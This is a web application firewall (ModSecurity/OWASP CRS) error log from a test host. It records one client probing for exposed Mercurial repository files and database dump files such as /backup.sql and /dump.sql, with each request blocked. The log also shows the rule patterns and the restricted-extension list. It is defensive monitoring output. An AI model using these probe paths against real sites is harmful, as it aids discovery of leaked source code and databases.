[Sun Mar 01 20:25:42.599312 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/data&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/data&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3QAAAAU&quot;]
[Sun Mar 01 20:25:42.599585 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/data&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3QAAAAU&quot;]
[Sun Mar 01 20:25:42.599751 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/store/data&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3QAAAAU&quot;]
[Sun Mar 01 20:25:42.622321 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.hgignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hgignore found within REQUEST_FILENAME: /.hgignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hgignore&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3gAAAAU&quot;]
[Sun Mar 01 20:25:42.622652 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hgignore&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3gAAAAU&quot;]
[Sun Mar 01 20:25:42.622846 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hgignore&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB3gAAAAU&quot;]
[Sun Mar 01 20:25:42.668904 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB4AAAAAU&quot;]
[Sun Mar 01 20:25:42.669457 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB4AAAAAU&quot;]
[Sun Mar 01 20:25:42.669651 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB4AAAAAU&quot;]
[Sun Mar 01 20:25:42.808816 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5gAAAAU&quot;]
[Sun Mar 01 20:25:42.809355 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5gAAAAU&quot;]
[Sun Mar 01 20:25:42.809530 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5gAAAAU&quot;]
[Sun Mar 01 20:25:42.831632 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5wAAAAU&quot;]
[Sun Mar 01 20:25:42.832136 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5wAAAAU&quot;]
[Sun Mar 01 20:25:42.832305 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB5wAAAAU&quot;]
[Sun Mar 01 20:25:42.854522 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6AAAAAU&quot;]
[Sun Mar 01 20:25:42.855031 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6AAAAAU&quot;]
[Sun Mar 01 20:25:42.855206 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6AAAAAU&quot;]
[Sun Mar 01 20:25:42.877379 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6QAAAAU&quot;]
[Sun Mar 01 20:25:42.877910 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6QAAAAU&quot;]
[Sun Mar 01 20:25:42.878073 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txB6QAAAAU&quot;]
[Sun Mar 01 20:25:42.947763 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZQAAAAQ&quot;]
[Sun Mar 01 20:25:42.948325 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZQAAAAQ&quot;]
[Sun Mar 01 20:25:42.948494 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZQAAAAQ&quot;]
[Sun Mar 01 20:25:42.970331 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZgAAAAQ&quot;]
[Sun Mar 01 20:25:42.971036 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZgAAAAQ&quot;]
[Sun Mar 01 20:25:42.971200 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZgAAAAQ&quot;]
[Sun Mar 01 20:25:42.993918 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZwAAAAQ&quot;]
[Sun Mar 01 20:25:42.994469 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZwAAAAQ&quot;]
